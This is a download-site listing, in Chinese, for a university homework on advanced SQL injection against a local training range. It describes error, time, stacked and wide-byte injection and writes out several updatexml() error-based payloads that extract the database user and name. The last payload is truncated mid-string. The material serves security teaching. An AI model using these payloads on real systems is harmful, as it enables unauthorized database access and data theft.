"山西大学网络攻防第六次作业:SQL注入进阶实战练习"

需积分: 13 3 下载量 190 浏览量 更新于2023-12-20 1 收藏 2.92MB DOCX 举报
SXU-网络攻防第六次作业-sql注入进阶 山西大学网络攻防第六次作业——sql注入进阶 在本次网络攻防作业中,学生们将进行sql注入的进阶练习,包括报错注入、时间注入、堆叠注入以及宽字节注入。这四种注入技术将在test靶场的http://localhost/test/sql/路径下进行练习。学生们需要按破解步骤进行,至少做到爆表名这一步,并且需要保留每次攻击的输入和执行结果的截图。 首先,在报错注入测试网址http://localhost/test/sql/error.php/1中,学生们确定了可报错注入的地址,并进行了以下步骤: 1. 确定可报错注入地址 通过输入?username=aaa'进行测试,并得到结果; 2. 利用updatexml()获取user() 在地址栏输入?username=aaa' and updatexml(1,concat('~',(select user()),'~'),1) #或?username=aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #进行测试,并得到结果; 3. 利用updatexml()获取database() 通过在地址栏输入?username=aaa' and updatexml(1,concat('~',(select(database())),'~'),1)#或?username=aaa' and updatexml(1,concat(0x7e,(select(database())),0x7e),1)#进行测试,并得到结果; 4. 利用报错注入获取数据库名 在地址栏输入?username=aaa' and updatexml(1,con进行测试,获取结果。 这些步骤将有助于学生们深入理解不同类型的sql注入技术,并且通过实际操作加深他们对攻击与防御的理解。通过完成该作业,学生们将提升他们的网络安全知识和技能,为今后从事相关领域的工作做好准备。